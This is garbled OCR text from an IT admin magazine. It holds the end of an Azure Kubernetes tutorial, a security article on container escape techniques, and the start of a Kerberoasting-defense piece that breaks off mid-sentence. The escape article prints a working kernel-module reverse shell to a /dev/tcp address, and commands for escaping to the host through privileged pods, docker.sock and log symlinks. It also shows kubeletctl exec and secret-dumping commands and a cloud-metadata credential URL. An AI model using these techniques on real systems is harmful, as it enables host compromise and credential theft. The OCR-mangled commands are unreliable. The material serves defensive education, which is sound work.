node, the node’s kernel version, and
the container runtime software in
use. Incidentally, as of around version
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. Listing 6: View of nginx Pods

RESTARTS AGE

NAME

1.19.3, AKS moved from Docker as
the runtime to containerd.

Now see if you can add a simple
workload by creating a standard
nginx web server deployment that
is allowed to fire up two pods.

Engine X

The file in Listing 5 creates an
nginx.yaml file. You can copy this file
for use at the Kubernetes documen-
tation site [6]. Use the command

$ kubect! create -f nginx.yaml
deployment.apps/nginx-deployment created

to apply the contents of Listing 5 to
your cluster.

Proof of the Pudding

To see whether the default namespace
now has two new nginx pods running
in it, enter:

$ kubect! get pods -n default

READY  STATUS
nginx-deployment-cbdccf466-b4b67  1/1 Running 0
nginx-deployment-cbdccf466-q7qtd  1/1 Running 0

. CONTAINERS AND VIRTUALIZATION Automated AKS Builds

The welcome output is shown in
Listing 6.

To check what a pod is serving, look
up the details of one of the pods you
created with the describe option,

$ kubect! describe po 2
nginx-deployment-cbdccf466-bdb67

then connect to its IP address to
get more detailed output. If you
look carefully at the response to
that command, the IP address
of the pod is (in this case only)
10.244.0.14.

Now I run another pod with the
telnet command (called from
busybox):

$ kubectl run -i --tty --rm debug 2
--image=busybox --restart=Never -- sh

If you don't see a command prompt, 2
try pressing enter.

] #

I saw the new prompt, so I thank-
fully didn’t need to hit the Enter key.

32s
32s

. Listing 7: nginx Running in Kubernetes

<IDOCTYPE html>

<htmi>
<head>

<title>Welcome to nginx!</title>

<style>
body {

width: 35em;
margin: @ auto;
font-family: Tahoma, Verdana, Arial, sans-serif;

3
</style>
</head>
<body>

<h1>Helcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and working. Further
configuration is required.</p>

<p>For online documentation and support please refer to

<a href" ttp://nginx.o gd">|ngmx.orgf/a>.<br/>

Commercial support is available at

<a href{"http: /7nginx.con]"nginx. comk /a>.</p>

<p><em>Thank you for using nginx.</em></p>

</body>
</htnl>
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Now inside the busybox pod, I make
sure the web server is running,

/ # telnet 10.244.08.14 80
Connected to 106.244.8.14
then type

GET /

to shuffle the telnet command
along (to play nicely with a web
server). Lo and behold, success!
Listing 7 shows the welcome output
in HTML format.

Ssshhh

If you want to SSH into a node, exit
the busybox pod with Ctrl+D and run

$ kubectl get nodes
NAME ..
aks-nodepool1-39945963-vnss000060 ..

to discover your node names (I only
have one in the cluster). Now you
can use the debug command [7] to
access the node:

©»

kubectl debug 2
node/aks-nodepool1-39945963-vnss0e0008 2
-it --limage=ncr.microsoft.com/akg/2
[fundamental/base-ubuntu:ve.8.11|

Creating debugging pod [...snip...]

You are reminded again that if you
don’t see a command prompt, try
pressing the Enter key. In my case,
the prompt changed to:

root@aks-nodepool1-39945963-vnss000000: /#

Now I am able to run Linux com-
mands as usual to check security set-
tings or troubleshoot Kubernetes.

Destruction

You’ll have many opportunities to
run tests in your AKS cluster, but
with costs in mind, you should

also know how to destroy a cluster
quickly. To prevent extra charges,
you can delete your cluster and re-
source group by very carefully spec-
ifying the resource group name:
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$ az group delete 2
--name testAKS 2
--yes --no-uait

With a little patience, you can check
in the UI to make sure the intended ef-
fects have taken place. It takes several

Automated AKS Builds CONTAINERS AND VIRTUALIZATION .

An abundance of documentation
is available online to help you
make the most of your Kubernetes
clusters, and I hope this article
has empowered you to do so. Most
importantly, though, you can eas-
ily add the commands shown here

[4] Troubleshooting deployment errors:
[pttps://learn.microsoft.com/en-us/azure/|
Bzure-resource-manager/troubleshooting/
tommon-deployment-errorst
horegisteredproviderfound]

[51 Second Azure resource group:

[pttps://docs.microsoft.com/en-us/azure/|

minutes to complete fully. Check to
see that the resource groups and the
AKS cluster have been removed to
your credit card’s satisfaction.

to a simple deployment script,
passing different cluster names
for different environments, and be
confident that your clusters will
be constructed in a consistent and
predictable manner across every

bks/fagHwhy-are-two-resource-groups{
[6] Example nginx deployment:

[un-stateless-application-deploymenf]
[71 SSH into AKS nodes: [ttps://docs]

The End Is Nigh

environment. | Imicrosoft.com/en-us/azure/aks/ssh]|
Kubernetes is a fantastic container
orchestrator with heaps of redun-
dancy and scalability built in. It Info Author

[11 Azure CLI via a Docker container:
[https://docs.microsoft.com/en-us/cli/
Bzure/run-azure-cli-dockef]

[21] Install Azure CLI: [https://docs.microsoft|
tom/en-us/cli/azure/install-azure-cl|]

[31] Container insights on Azure:

icrosoft.com/en-us/azure/azure-monitor,

Eontainers/container-insights-onboard]
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is also capable of supporting end-
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Securing Kubernetes

Securing the container environment

Escape Room

Implement a good, robust defense with an in-depth strategy of applying
multiple layers of security to all components, including the human factor.

By Raul Lapaz

An escape room is an immersive
team-building game in which
friends or colleagues work together
to solve puzzles and clues to es-
cape a room before time runs out.
Within the domain of Kubernetes [1]
and Docker [2], one of the primary
goals for malicious actors is seek-
ing to compromise a pod or Docker
instance. Once they find a way to
escape to the host, they can gain
root access, resulting in critical con-
sequences - i.e., game over.
Securing the container means ad-
dressing multiple layers in the con-
tainer’s environment, such as access
and control, internal permissions,
network segmentation, vulnerability
management, misconfigurations,
and excessive privileges, among
other things. Also, you need to dif-
ferentiate whether containers are
deployed within a cloud provider’s
infrastructure or as on-premises clus-
ters, because each requires a different
approach, such as identity access
management roles, managed infra-
structure, and so forth.
Comprehensive coverage of all these
aspects would not fit in a single ar-
ticle, so my focus is directed toward
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various techniques that threat actors
or penetration testers may employ to
evade container defenses, especially
escaping to the host to gain full ac-
cess to the cluster. Understanding the
tactics used is particularly beneficial
for blue team members tasked with
defense and implementing security
controls.

Main Entry Points

To compromise containers, a door has

to be open somewhere, so this task

can pose challenges, particularly if
the container is fortified with robust
security measures. Some of the most
common tactics that bad actors use to
break into containers include:

1. Application vulnerability. Contain-
ers are frequently built from im-
ages, which can (and most often
do) contain vulnerabilities. Attack-
ers might exploit these vulnerabili-
ties to gain access to the container
or execute malicious code. One of
the most common vulnerabilities
for containers is server-side request
forgery (SSRF):

2. Server-side request forgery: This
form of attack might cause the

server to make a connection to
internal-only services, potentially
leading to unauthorized access. If
any application has flaws, these
can be exploited to access internal
resources. SSRF vulnerabilities can
arise from improper input valida-
tion or inadequate access controls
on the server. Exploitation of SSRF
occurs when threat actors supply
malicious input (e.g., URLs or IP
addresses) in places where the
server makes requests to external
resources.

An example will make it easier

to understand: Consider a typical
scenario on a website where users
input URLs. If the application lacks
an adequate validation mechanism,
attackers can manipulate the input
to request arbitrary data from local
destinations, leading to potential
security issues. Although this ex-
ample is typical, numerous other
attack vectors exist. Some attacks
can have a bigger effect - particu-
larly those ocurring in cloud envi-
ronments - by exploiting vulner-
abilities granting access to sensitive
metadata services.

Just think for a moment of the H
potential effect if a web applica-
tion were to permit the URL[Attp://]

[169.254.169.254/latest/meta-data/

iam/security-credentials/aws-role-
attached on an input field. That
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action could fetch the AWS access
keys and associated secrets for the
AWS account, and depending on
the permissions granted to the spe-
cific role, it could be devastating.

. Misconfigurations: Improperly

configured Kubernetes or Docker
settings can expose sensitive in-
formation or provide unauthorized
access. Bad actors might look for
exposed ports, weak passwords, or
misconfigured access controls.

. RBAC bad practices: Role-based

access control (RBAC) is a crucial
aspect of container security, but
certain bad practices can under-
mine its effectiveness. Some exam-
ples of bad practices in RBAC for
container security include:
Excessive privileges: Assigning
overly broad permissions to users
or service accounts within contain-
ers can increase the attack surface.
Not following the principle of least
privilege (PoLP) increases the risk
of privilege escalation attacks and
unauthorized access to sensitive
resources. One good example of a
common misconfiguration occurs
when RoleBindings and Cluster-
RoleBindings are assigned to the
system:anonymous account, inad-
vertently providing privileges to
anonymous users.

Shared credentials: Sharing cre-
dentials among multiple contain-
ers or users and tenants can make
it a challenge to trace actions to
specific individuals or processes.
It also increases the risk of unau-
thorized access if credentials are
compromised.

Securing Kubernetes SECURITY .

B Lack of proper logging and moni-

toring: Without a good detection
method in place for unauthorized
access or suspicious activities,

it becomes difficult to identify
security breaches promptly and
respond effectively. By avoiding
these bad practices, you can mini-
mize the risk of unauthorized ac-
cess and data breaches.

. Insecure APIs. Both Docker and

Kubernetes provide APIs for man-
aging containers and clusters. How-
ever, improperly configured APIs
can serve as entry points for threat
actors to gain unauthorized access.
Once inside the cluster, malicious
actors could perform various ac-
tions such as deploying new con-
tainers, implanting back doors, and
accessing sensitive information.
The kubelet plays a critial role in
Kubernetes; it is responsible for
managing the state of individual
nodes in a Kubernetes cluster.
Running on each node, it commu-
nicates with the Kubernetes API
server to ensure container health
and functionality. By default, kube-
let operates on TCP port 10250.
The Kubernetes website provides
very little
documenta-
tion about

the API and
the rest of the
undocumented
APIs. However,

CyberArk [3] 3.71.72.105
created an

open source

tool named exposed kubelet.

kubeletctl scan token --server 3.71.72.105 -i

Pod: docker-socket-pod
Namespace: default

Container: docker-socket-container
Url: https://3.71.72.105:10250/run/default/docker-socket-pod/docker-socket-container

Output:

Nodes with open
ed Kubelet API

kubeletctl [4] that implements any
kubelet API call to make it simpler
to run commands than with curl.
When the server’s anonymous auth
argument is enabled, requests not
rejected by other authentication
methods are treated as anonymous
requests. These requests are then
served by the kubelet server, leaving
it vulnerable for an attack. Nowa-
days, it is set by default to not anon-
ymous, but many outdated clusters
still could be in the wild.

I will demostrate the process of
running this tool to scan a miscon-
figured cluster and execute com-
mands on vulnerable pods. To be-
gin, you need to install kubeletct]
and then run commands to scan
for vulnerabilities and to enumer-
ate all pods on that node (Fig-

ure 1). For the parameters allowed,
you can add one server IP address
or a full CIDR (IP range):

kubeletctl pods --server 3.71.72.185 -i
kubeletctl pods --cidr 3.71.72.0/24 -i

To scan all pods vulnerable to re-
mote code execution (RCE) , run
one of the commands

r 3.71.72.105

Figure 1: Scanning for nodes to see if they are vulnerable with an

eyJhbGci0iJSUzIINiIsImtpZCI6Im9tYVpsVOpzb2NHQ2IGSks@aVRVUEZGeUx2bVBOZmt6UMIRLX05ZThYQ2MifQ. eyIhdWQil

1bHQuc3ZjLmNsdXNOZXIubG9 jYWwiXSwiZXhwIjoxNzQzNzUIMjglLCIpYXQi0jE3MTIyMTkyODUsImlzcyI6Imh@dHBz018va3)
GVyLmxvY2FsIiwia3ViZXJuZXRlcySpbyI6eyJuYW1lc3BhY2Ui0iJkZWZhdWx@IiwicG9kIjp7Im5hbWUi0iJkb2NrZXItc29ji
yOGEtNDBhZCOSMWUwWLWQWZWU2ZDkzM2U4MyJ9LCIzZX32aWNLYWN jb3VudCI6ey JuYWIlI joiZGVmYXVsdCIsInVpZCIGI jQxNT.
JASZGI4MSI9ILCI3YXIUYWZOZXI10jE3MTIYMjI40TI9LCIuYmY10JE3MTIyMTkyODUSInN1YiI6InNSc3R1bTpzZXI2aWNTYWN I
6jmAt5Lw5qz08uLSgpwl XERbQ2bJ1y2bgt5AIIWITFx0yLUByn-NQm14W8bMzmIGEBIUVSe fPPLH-gQbajY0u-a9WgeZiZoBkH9l
mBPmoQsBt7WXRR6WWLW-_zcoN17t70EfXbFEiepXYUb9YD9wwT_-rBO8E3Wo-BBoAjEsa27ZgrIOMQXPovqlliPmExUctxQZ9EEy
WnoOM5aTnrXmaXwlUIWLu_Iqle_SVRYrRp8k8_TxVRCqv7M3ay8LCcnCZW-71udQ7Z0OWS5aw

Figure 2: Getting all secrets from containers in the cluster.
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kubeletctl scan rce --server 3.71.72.105 -i
kubeletctl scan rce --cidr 3.71.72.8/24 -i

The next example runs a com-
mand on a vulnerable pod and
then it will enumerate all the se-
crets from the cluster (Figure 2):

kubeletctl exec "whoami" 2
-c container_name 2
-p pod_name 2
-n namespace 2
--server 3.71.72.185 -i

kubeletctl scan token 2
--server 3.71.72.105 -i

6. Container breakouts: Attackers

. SECURITY Securing Kubernetes

and show you how this works in
real life.

Escaping to the Host

By default, Docker containers are un-
privileged and cannot, for example,
run a Docker daemon inside a Docker
container, because a container is not
allowed to access any devices; how-
ever, a container run in privileged
mode is given access to all devices.
In addition to the --privileged flag,
you can customize which capabilities
you want your container
to run with --cap-add and
--cap-drop.

Docker Capabilities

securityContext:
capabilities:
add:
- SYS_NICE
drop:
- SYS_MODULE

With capabilities, you can grant cer-
tain privileges to a process without
granting all the privileges of the root
user. Some capabilities can be dan-
gerous and risky, and bad actors will
leverage those privileges to compro-
mise the host.

Table 1: Docker Capabilities Mapped to Linux

Linux Capabilities

might exploit vulnerabilities in
the container runtime of a Docker
container or a Kubernetes pod

to gain access to the host system
if the container or pod is not
properly isolated. In the next sec-
tion, I describe some use cases

. Listing 1: Reverse Shell

#include <1inux/kmod.h>

#include <Tinux/module.h>
MODULE_LICENSE("GPL");
MODULE_RUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module")
MODULE_VERSION("1.8");

Docker has a default list | SETPCAP CAP_SETPCAP

of capabilities (Table 1), | SYS_MODULE CAP_SYS_MODULE

but Kubernetes follows SYS RAWIO CAP SYS RAWIO

a different approach, SYS_PACCT CAP_SYS_PACCT

which allows you to add SYS_ADMIN CAP_SYS_ADMIN

or drop capabilities in the - -~
SYS_NICE CAP_SYS_NICE

SecurityContext field of a - - -

. | SYS_RESOURCE CAP_SYS RESOURCE

container: === - -
SYS_TIME CAP_SYS_TIME
SYS_TTY_CONFIG CAP_SYS_TTY_CONFIG
MKNOD CAP_MKNOD

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 8>&1", NULL3};
static char* envp[] = {"PATH=/usr/local/sbin: /usr/local/bin: /usr/sbin: /usr/bin:/sbin: /bin", NULL 3;

// call_usermodehelper function is used to create user mode processes from kernel space

static int __init reverse_shell_init(void) {

return call_usermodehelper(argv[@], argv, envp, UMH_WAIT_EXEC);

static void _exit reverse_shell exit(void) {
printk (KERN_INFO "Exiting\n");

module_init(reverse_shell_init);
module_exit(reverse_shell exit);

[ Listing 2: Makefile

obj-m +=revershell.o

all:

make -C /1ib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

make -C /1ib/modules/$(shell uname -r)/build M=$(PWD) clean

AUDIT_WRITE
AUDIT_CONTROL

| MAC_OVERRIDE
MAC_ADMIN
NET_ADMIN
SY5L0G

CHOMN

NET_RAK
DAC_OVERRIDE
FOMNER
DAC_READ_SEARCH
FSETID

KILL

SETGID

SETUID
LINUX_IMMUTABLE
NET_BIND_SERVICE
NET_BROADCAST
IPC_LOCK
IPC_OWNER
SYS_CHROOT
SYS_PTRACE
SYs_BooT

LERSE

SETFCAP
WAKE_ALARM
BLOCK_SUSPEND

CAP_AUDIT_WRITE
CAP_AUDIT_CONTROL
CAP_MAC_OVERRIDE
CAP_MAC_ADMIN
CAP_NET_ADMIN
CAP_SYSLOG
CAP_CHOWN
CAP_NET_RAM
CAP_DAC_OVERRIDE
CAP_FOMWNER
CAP_DAC_READ_SEARCH
CAP_FSETID

CAP_KILL

CAP_SETGID
CAP_SETUID
CAP_LINUX_IMMUTABLE
CAP_NET_BIND_SERVICE
CAP_NET_BROADCAST
CAP_IPC_LOCK
CAP_IPC_OMNER
CAP_SYS_CHROOT
CAP_SYS_PTRACE
CAP_SYS_BOOT
CAP_LERSE
CAP_SETFCAP
CAP_WAKE_ALARM
CAP_BLOCK_SUSPEND
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The CAP_SYS_MODULE capability allows
the insertion and removal of kernel
modules from a container directly
into the host machine. Consider the
security implications this capability
presents: privilege escalation and
complete system compromise by al-
lowing modifications to the kernel
and, most importantly, by bypassing
all Linux security layers and container
isolation mechanisms.

To demonstrate this behavior, the fol-
lowing steps grant complete access

to the host by inserting a pre-built
kernel module. On the host node, I
develop a kernel module that initiates
a reverse shell to a specified destina-
tion by creating the revershell.c ker-
nel file (Listing 1) and the makefile
(Listing 2) to be compiled. Note that
in the makefile, the spaces you see
before the make commands are tabs.
Now executing make creates the re-
vershell.ko file, which is the kernel
module. Once it is compiled, you must
launch a privileged Docker container
equipped with the SYS_MODULE capabil-
ity after ensuring that the Docker dae-
mon is installed on your machine:

docker run --rm --privileged -it alpine sh

Next, determine a method to transfer
your newly created kernel module
into the running container. One
straightforward approach is to run a
web server (with a pre-built Python
plugin) in the same directory as the
file and then, from the container, use
uget to retrieve the file:

python3 -m http.server
Serving HTTP on 6.8.0.9 port 8000 2
(http://0.0.0.0:8000/])

On the running container, you get a
shell and then run the wget command
shown in Listing 3 with its output

to download the revershell file. Now
make the module executable and in-
sert the module into the host:

chmod +x revershell.ko
insmod revershell.ko

On the host, you can verify that the
kernel has been loaded successfully

[WWW.ADMIN-MAGAZINE.COM
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uget http://172.18.0.1:8000/revershell.kd

saving to 'revershell.ko'
revershell.ko
‘revershell.ko' saved

Connecting to 172.18.8.1:8008 (172.18.0.1:8000)

la@% |**************************************************************** |

111k 0:00:00 ETA

by running 1smod and searching for
the name of the module. In Figure 3
you can see the active module you
executed before.
Some methods let you add limits on
what a capability can perform by
implementing security controls that
are out of the box on the operating
system. The following are the most
important and popular methods:

B AppArmor [5] is a security en-
hancement to confine containers to
a limited set of resources. You can
configure it for any application to
reduce its potential attack surface.
On Kubernetes, it restricts what
containers are allowed to do.

B Secure computing (seccomp) [6]
can limit the syscalls a container
can call. A default seccomp pro-
file is enabled by default (only if
Docker has been built with sec-
comp and the kernel is configured
with CONFIG_SECCOMP enabled)
when running Docker contain-
ers, but if you run a privileged
container, it will be disabled. Also
note that when running on a Ku-
bernetes cluster, it is disabled by
default.

B The open source SELinux [7] proj-
ect allows admins to have more
control over who can access the
system. As with seccomp, if run-
ning the container with the --priv-
ileged flag, it will also remove or
disable the security feature.

Abusing Exposed Host
Directories

When running a
pod or Docker in
privileged mode,
it is possible to
mount the host
root filesystem
into the con-
tainer. In this

Module
revershell
veth

snd_seq_dummy
snd_hrtimer
snd_seq

example, I use a Kubernetes pod in
privileged mode (privileged: true):

apiVersion: vl
kind: Pod
metadata:
name: nginx
spec:
containers:
- name: nginx
image: nginx
securityContext:
privileged: true

You need to save the file as privi-
leged_pod.yanl, then deploy it on
your cluster and get a shell into your
newly created container with

kubectl apply -f privileged_pod.yanl
kubect! exec nginx -it -- /bin/bash

From the prompt of your container,
create a directory and mount the
root filesystem (run 1sblk to verify
the host filesystem; in this case,
nvmednipl):

mkdir /mnt/host_root
mount /dev/nvme@nipl /mnt/host_root

Now if you change directory to /
mnt/host_root, you can see all files
from the host system (e.g., /etc/
passud and other interesting and
sensitive files).

The Infamous sock File

The Docker daemon can listen for
requests over three types of sockets:

Size
12288
40960
12288
12288

114688

snd_seq_dummy

Figure 3: Therevershel1 module loaded into the host from the container.
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unix, tep, and fd. By default, a socket
is created at /var/run/docker.sock,
but for other container runtimes (e.g.,
containerd or CRIO), it could be cre-
ated at /run/containerd/containerd.
sock or /run/crio/crio.sock.
Applications may use the Docker and
containerd daemon from the host to
interact with containers, because they
lack their own runtime, especially for
security tools, monitoring services,
and service meshes that need to ask
the sock to gather some information
from containers installed in the clus-
ter. One good example would be a
security runtime protection tool that
needs control over all containers.
Different or equivalent .sock files,
when mounted inside a container,

. Listing 4: Pod Manifest File
vl

apiVersion:
kind: Pod
netadata:
name: docker-socket-pod
spec:
containers:
- name: docker-socket-container
image: nginx
volumeMounts:
- name: docker-socket-volume
mountPath: /var/run/docker.sock
volumes:
- name: docker-socket-volume
hostPath:
path: /var/run/docker.sock

. Listing 5: crict1 Output

. SECURITY Securing Kubernetes

allow some interactions with the con-
tainer runtime installed on the host.
An attacker could run commands

on any containers within the cluster,
which would somehow allow for full
control of the host.

To illustrate an attacker technique,
look at the pod manifest file in List-
ing 4 that mounts the folder /var/
run/docker.sock from the host. To de-
ploy it on your cluster, run

kubectl apply -f <file_name>.yanl

Now that the pod is running success-
fully on the cluster, get into the con-
tainer shell by running

kubectl exec -it docker-socket-pod -- 2
/bin/bash

To leverage the docker.sock file, run
df -h | grep sock

to show that the mounted folder is
present on the container. Assuming
your NGINX container does not come
with Docker pre-installed, go ahead
and install it:

apt update && apt install uget

uget[ https://dounToad. docker.com/Tinux/@
|static/stable/x86 64/docker-18.09.0.tqz|

tar -xvf docker-18.89.0.tqz

crict] --runtime-endpoint unix:///run/containerd/containerd.sock ps

cd docker
cp docker /usr/bin

Now, interact directly with the Docker
daemon on the host and get a list of
all Docker containers to obtain infor-
mation or show available images, by
running one of these commands:

docker -H unix:///var/run/docker.sock ps -a
docker -H unix:///var/run/docker.sock info
docker 2

-H unix:///var/run/docker.sock images

Finally, the attack goal is closer,
and you are going to escape to the
host by creating a privileged Docker
container that mounts the root
filesystem (/) into the container
/abc folder and chroot into it by
running the following command on
a container:

docker 2
-H unix:///var/run/docker.sock 2
run --rm -it 2
-v /:/abc:ro debian chroot /abc

You can now list all the files on the
root filesystem and execute some use-
ful commands to interact with the
pods running on the node.

Note that the cluster is using contain-
erd as the runtime, so you can run
commands with crict] [8] instead of

CONTRINER IMAGE CREATED STATE NAME ATTEMPT POD ID POD

6leee33898c@9  92b11f67642b6 About an hour ago  Running docker-socket-container @ 16eed65d1120a docker-socket-pod

38eleb8945613  5e785d@e5cccl 2 hours ago Running calico-kube-controllers 334 897baebcdcazd calico-kube-controllers-57b57¢c56f-2xmu
8cc4bd79ecb85  550e0029f6bd4 2 months ago Running health-check 0 0f1656dc41993 health-check-deployment-5b797cécdf-kz62z
bbd1338aal798  b8973f272abal 2 months ago Running build-code 0 3c60d60853a26a build-code-deployment-68dd47875-85tb8
1c@59432e17bc  8a648853c60f5 2 months ago Running hunger-check 0 56218b2e56fa8 hunger-check-depToyment-96b6764f9-7zsbk
cbdd56829a654  @ff4eace8cd5b 2 months ago Running metadata-db ] cfb1532ab1843 netadata-db-648b64948f-ttzlk

129d@3711f19b  aa2bf22@5b2c2 2 months ago Running cache-store 9 0257aafa379c4 cache-store-deployment-7cb76b5448-quzfb
72f7a1082f276  f84e0146849d0 7 months ago Running enforcer 1 a7c5e83dcelef asset-mgmt-admission-enforcer-77bc7f9c77-mq28q
1768ed98e261a  2déc7c11d7191 7 months ago Running agent 1 6f7fc69a30e2b asset-mgnt-inventory-agent-ffé5ddded-k4rf5
68cel262e18c2  5185b96f@becf 7 months ago Running coredns 1 352e98cc2db8b coredns-787d4945fb-rc8gk

fb734ad33071f  5185b96f@becf 7 months ago Running coredns 1 bdbfdbf700263 coredns-787d4945fb-971t4

a29cad83da33b 153f@442d7cc2 7 months ago Running daemon 1 5c9045f@16c33 asset-mgmt-runtime-daemon-vfsrj
edb4568bd86eb  08616d26b8e74 7 months ago Running calico-node 1 c6aba3d4be83e calico-node-92zq7

c55945531ebc7  a7f25bla3cf06 7 months ago Running shim 1 1bal186d5b2f2b asset-mgmt-imagescan-daemon-g2z79
c99bb749678ce  b6329daf3154a 7 months ago Running daemon 1 1bal186d5b2f2b asset-mgmt-imagescan-daemon-g2z79
93e070773470e  89dalfbédcb9é 7 months ago Running redis-containers 1 ddcb53268¢97¢ redis

6ff7458fd798c  f592e34f70efc 7 months ago Running daemon 1 718dc88d509dd asset-mgmt-flowlogs-daemon-tdShe
1393c8bdce2ff  92ed2bec97a63 7 months ago Running kube-proxy 1 5bf2de2a3af3c kube-proxy-bé65¢c9
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Figure 4: /var/1og/pod file structure and 0. 10g files from mounted container hostPath volume.

the docker command. The command
in Listing 5 lists all containers on that
particular node.

The mitigations for the above tech-
nique could be used to ensure that
no containers mount docker.sock as
a volume. Of course, that is easy to
say, but what if you have require-
ments and use cases that need to
mount that socket, as in the case of
a container to troubleshoot an issue,
a security tool that needs access to
the host, or some other reason? In
these cases, you should protect the
privileged pods, have some moni-
toring and alerting in place, and
segregate the network to allow only
specific resources to communicate
with the pods.

Escaping to Host by
Creating a Symbolic Link

This time, you will have a pod run-
ning as root with a mountpoint to
the node’s /var/log directory. This
configuration setting may be seen as
innocent, but it holds profound im-
plications that can expose the entire
content of its host filesystem to any
user who has access to its logs.
Within nodes and control planes,

a structured directory exists within
the /var/log/pods directory. This
directory contains the 8. 1og file
(Figure 4). Consider a scenario in
which a pod is configured with a
hostPath volume mount to /var/log,
which would mean that the pod has
access to all pod logfiles on that host.

[WWW.ADMIN-MAGAZINE.COM
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By adding a symlink from the con-
tainer’s 8. 10g file to, for instance,
/etc/shadow or any other sensitive
file on the host, you can access the
file by running

cat /var/log/pod/<name_of_pod>/8.1og

From the container, browse to the di-
rectory where the 0. 1og files are and
create a symlink (which could be any
needed file from the node):

In -sf /etc/hostname 8.1log

On the host, fetch the logs for the
specific container pod,

kubectl Togs checkpoint_asset-mgmt-<xxxx> 2
-n <namespace>

and you get the failed to get parse
function: unsupported log format:
“checkpoint\n” error showing the
hostname from file /etc/hostnane.
You just got the host file content from
the error. If you use one of these use
cases to mount the /var/log folder, be
aware that your deployment will be-
come vulnerable to this host takeover
technique.

Several remediations and mitiga-
tions can be used to prevent such
vulnerabilities. Always try, when-
ever possible, to avoid containers
running as root and deploy some
guardrails by implementing ad-
mission controllers with policies
designed to prevent root access or
to authorize specific images for

which root is a
requirement and
have them under
control.

Another course of
action is simply
not to deploy pods
with a writeable
hostPath to /var/
log. Much better
would be to set it
up as read-only.

Conclusion

Protecting your
data needs to be
a priority for your business. Always
use the least privilege principle
when running your workloads.
Never underestimate your adversar-
ies, because most hackers target
businesses indiscriminately and will
compromise your infrastructure. At-
tackers dedicate a lot of hours in a
day to work diligently toward their
goals and objectives. The escape
techniques discussed in this article
should serve as an example of how
your assets could be at risk. [ |
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Kerberoasting Protection

Making Kerberoasting uneconomical

Sophisticated Heist

A method known as Kerberoasting is an exploitation technique of the Kerberos authentication protocol.
We take a closer look at the available safeqguards and detection measures against this attack. sy vgenij smirnov

Unauthorized access to credentials is
a part of virtually any successful cy-
berattack. Attackers are particularly in-
terested in techniques that provide ac-
cess credentials that allow far-reaching
authorizations without immediately
setting off the alarm bells on monitor-
ing systems. Sometimes these tech-
niques result from the functionality of
Windows and Active Directory (AD).

Stolen and Broken

Kerberoasting [1] is an attack tech-
nique that relies on the ability of
every user or computer to request,

in Kerberos, a service ticket from

the domain controller (DC) for every
service. A check as to whether the
requesting account has the right to do
this only occurs when the service is
accessed with this ticket. Therefore,
if a security principal in the AD has
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a service principal name (SPN), any
user - including a standard user or a
workstation hijacked by an attacker -
can grab a service ticket for this secu-
rity principal from a DC.

The service ticket issued by the DC
contains a part that is exclusively in-
tended for the requested service princi-
pal and is also intended to ensure that
the ticket was generated by the DC

of the specified domain. For this pur-
pose, the ticket is encrypted with the
Kerberos hash of the service account,
which is ideally only known to the DC
and the account itself. However, the
ticket contains plain text information
that is known from the outset, such

as the name of the requesting user,
which allows the success of a decryp-
tion attempt to be verified quickly and
reliably. The information attackers are
looking for is not included in the pay-
load, but used as an encryption key.

Kerberoasting therefore boils down
to brute force. As a rule, the attack-
ers first extract the complete service
ticket from the compromised environ-
ment and use tools such as Hashcat
or John the Ripper in their own envi-
ronment to reconstruct the plaintext
password (offline cracking). Because
the leading ransomware gangs al-
ready tapped into the as-a-service
business model some time ago, the
GPU power required for cracking
hashes and tickets can be rented by
the hour in hyperscaler clouds such
as Azure or AWS and naturally lends
itself to hacking from a commercial
perspective. At the same time, it is
impossible to determine the location
of the “crack stations” on the basis of
typical power consumption patterns.
The two phases of Kerberoasting
therefore involve diametrically op-
posed levels of effort. As easy as

Lead Image © alphaspirit,m
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creating and extracting a service
ticket may be in the vast majority

of AD environments, cracking the
password can be time-consuming if
the password is long and complex.
The choice of hash algorithm also
makes a big difference to the comput-
ing power required for cracking: The
conventional RC4, which is identical
to the NT hash, is increasingly being
replaced by AES. Windows versions
from Server 2019 onward will only
request and issue tickets encrypted
with the AES hash. However, if RC4
is generally possible in the AD envi-
ronment, the attacker can force the
domain controller to downgrade the
protocol and explicitly request a ticket
in which the service part is encrypted
with the RC4 hash.

As always, when it comes to guess-
ing passwords, the number of char-
acters and complexity play a very im-
portant role. If you limit yourself to
the character set that can be entered
directly on a computer keyboard
when generating passwords, you can
have more different passwords, up to
a length of 19 characters, than differ-
ent RC4 hashes in total. Therefore,
computer accounts and group Man-
aged Service Accounts (gMSAs) are
generally not suitable as Kerberoast-
ing targets, because their passwords
are purely random strings that
change regularly and are controlled
by group policy for computers and
defined when the account is created
for gMSAs. The default value in both
cases is 30 days, which makes crack-
ing uneconomical.

A rumor has circulated among many
administrators that domain members
lose their trust in AD if they are un-
able to connect to a domain controller
for too long. Although this was some-
times the case with the old Windows
NT domain model and with Windows
2000, modern Windows versions can
handle this problem. Nevertheless,
during the pandemic, some organiza-
tions used group policy to disable
machine password changes for home
office laptops, and in some cases,
this policy was linked incorrectly so
that it also affected servers, includ-
ing some with elevated privileges.
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If an attacker detects this kind of a
misconfiguration and has access to
inexpensive GPU resources, even
cracking a 128-character password
can prove economical if the reward is
big enough.

The ideal target for Kerberoasting is

therefore a legacy service account -

that is, a user account that has:

B a non-expiring password, prefer-
ably assigned manually and en-
crypted with RC4;

B an explicit SPN; and

B extensive authorizations either in
AD itself or on other systems.

A somewhat rarer variation of Ker-

beroasting only provides the hash

of the plaintext password, which

can then be used for pass-the-hash

(NTLM), overpass-the-hash (Kerberos

ticket with RC4 encryption), or pass-

the-key (Kerberos ticket with AES en-
cryption) attacks. However, the com-
putational effort required is identical
because the hashes are not tried out
directly, but formed from plain text in
both cases.

Tracking Down
Kerberoasting Targets

Finding worthwhile Kerberoasting
targets is easy. Attackers use tools
such as Python scripts (one popular
example being GetUserSPN.py from the
Impacket project [2], which runs on a
Linux machine) to reduce the chances
of detection when using PowerShell
or other standard tools. On the de-
fense side, you don’t have to worry
about being exposed during recon-
naissance and can simply use the on-
board AD module for PowerShell. You
are looking for accounts that:
B are not deactivated,
B are normal users,
B have a non-expiring password, and
B at have least one explicitly defined
SPN.
To accomplish these objectives, you
can use the LDAP filter:

(&(!(userAccountControl:
1.2.840.113556.1.4.803:=2))
(userfAccountControl:
1.2.840.113556.1.4.803:=66048)
(servicePrincipalName=*))

The userAccountControl value of 2
means the account is deactivated, and
the value 66048 is the sum of 65536
(password does not expire) and 512
(normal user account). If you want to
find particularly worthwhile targets
that are also members of one of the
